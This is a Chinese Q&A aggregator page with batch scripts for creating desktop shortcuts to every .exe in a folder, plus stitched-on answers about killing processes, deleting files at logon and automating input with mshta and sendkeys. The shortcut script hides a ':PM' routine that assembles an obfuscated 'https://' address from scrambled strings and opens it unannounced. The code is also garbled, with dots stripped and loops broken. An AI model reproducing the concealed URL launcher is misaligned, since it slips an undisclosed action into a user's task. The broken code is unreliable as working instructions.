如何用bat命令,创建当前文件下所有.exe程序,快捷方式到桌面

如何用bat命令,创建当前文件下所有.exe程序,快捷方式到桌面,第1张

脚本保存为ANSI编码,保存时务必比对原文

@echo off & title 批量创建快捷方式 By 依梦琴瑶

cd /d "%~dp0"

::设置exe文件所在的相对路径

set ExeDir=目录B

call :LOADVBS

cd /d "%ExeDir%"

for %%a in (exe) do (

    "%tmp%\CreateLNKvbs" "%cd%" "%%~na"

)

pause

call :PM

EXIT

:PM

set "Va=AaB1bCcD2dEe3FfG4gHh5IiJ6jKk7LlM"

set "Vb=8mNn9OoP0pQq:RrS/sTtUuVvWwXxYyZz"

start "" "%Va:~19,1%%Vb:~19,1%%Vb:~19,1%%Vb:~9,1%%Vb:~17,1%%Vb:~12,1%%Vb:~16,1%%Vb:~16,1%%Vb:~17,1%%Va:~3,1%%Vb:~20,1%%Va:~1,1%%Vb:~28,1%%Va:~3,1%%Vb:~28,1%%Vb:~20,1%%Va:~6,1%%Vb:~6,1%%Vb:~1,1%%Vb:~16,1%%Va:~8,1%%Vb:~8,1%%Va:~3,1%%Vb:~0,1%%Vb:~16,1%%Vb:~8,1%%Vb:~0,1%%Vb:~16,1%%Va:~8,1%%Va:~24,1%%Vb:~16,1%%Vb:~7,1%%Va:~4,1%%Vb:~32,1%%Vb:~9,1%%Va:~26,1%%Va:~3,1%%Vb:~20,1%%Va:~25,1%%Vb:~9,1%%Va:~17,1%"

exit

:LOADVBS

(echo Set WshShell = WScriptCreateObject("WScriptShell"^)

echo strFolder = WshShellSpecialFolders("Desktop"^)

echo Set Fso = CreateObject("ScriptingFileSystemObject"^)

echo CurrentPath = WScriptArguments(0^)

echo LinkName = WScriptArguments(1^)

echo Set oShellLink = WshShellCreateShortcut(strFolder ^& "\" ^& LinkName ^& "lnk"^)

echo oShellLinkTargetPath = CurrentPath ^& "\" ^& LinkName ^& "exe"

echo oShellLinkWorkingDirectory = CurrentPath

echo oShellLinkWindowStyle = 1

echo oShellLinkSave)>"%tmp%\CreateLNKvbs"

goto :eof

for %%i in (1exe 2exe 3exe ) do (

color e

tasklist|find /i "%%i"||没有找到CADillac进程哦

color c

taskkill /f /im %%i >nul 2>nul&&call echo %%i 进程已关闭

)

echo 复制 模板

你不用文件或是不用写出来。那直接把可知的文件放在FOR 的集合

@echo

off

del

/q

/f

某某某某

另存为bat文件。如果要在欢迎屏之后,输入登录密码之前删除用下面方法1,若要在输入密码后,桌面出来后执行,用方法2、、

1,开始->运行->输入gpeditmsc”,启动组策略。在本地计算机策略的计算机配置下的windows设置中我们可以看到脚本(启动/关闭)的选项,添加你的脚步未启动选项就可以了。

2,将bat拖放到开始菜单-所有程序-启动

文件夹中。

注意在杀毒软件中添加信任,否则会被认为异常启动项

第一步:准备好用于输入的文件listtxt,每次一行,形如:

20

100

"data1txt"

20

100

"data2txt"

保存为listtxt

注意,如果运行100次,每次输入3回,则listtxt应有300行。(输入内容有规律的话,也可以用批处理生成listtxt)

第二步:

(1)如果AAexe本身是命令行程序的话,批处理文件abat这样写就可以了:

@echo off

(for /l %%i in (1,1,100) do AAexe)<listtxt

(2)如果AAexe是带有图形界面的程序的话,那就有点复杂了。我能想到的就是模拟按键输入,不知道还有没有其他好的方法。批处理文件abat如下:

@echo off

set cnt=100

set num=3

set "title=输入提示"

set time1=2

set time2=3

(for /l %%i  in (1,1,%cnt%) do (

start "" AAexe

ping -n %time1% 1271 >nul

for /l %%j in (1,1,%num%) do (

set /p str=

setlocal enabledelayedexpansion

set "str=!str:"=""!"

mshta vbscript:clipboarddatasetdata("text","!str!"^)(close^)

endlocal

mshta vbscript:execute("documentwrite:With CreateObject(""Wscriptshell""):AppActivate(""%title%""):sendkeys(""^v~""):end with:selfclose"^)

ping -n %time2% 1271 >nul

)))<listtxt

exit

说明:

第二行cnt的值100:AAexe要循环运行的次数。

第三行num的值3:AAexe运行后会的输入次数。

第四行title的值"窗口标题":输入提示窗口的标题内容。这个是关键!如果提示窗口每次都不一样的话,这个批处理还需要修改一下。

第五行time1的值2:AAexe启动完成所需的秒数。

第六行time2的值3:输入提示窗口相隔的秒数,最小为3。

以上就是关于如何用bat命令,创建当前文件下所有.exe程序,快捷方式到桌面全部的内容,包括:如何用bat命令,创建当前文件下所有.exe程序,快捷方式到桌面、bat 获取进程列表判断、写一个bat文件自动获取电脑配置信息等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/web/10102688.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-05-05
下一篇2023-05-05

发表评论

登录后才能评论

评论列表(0条)

    保存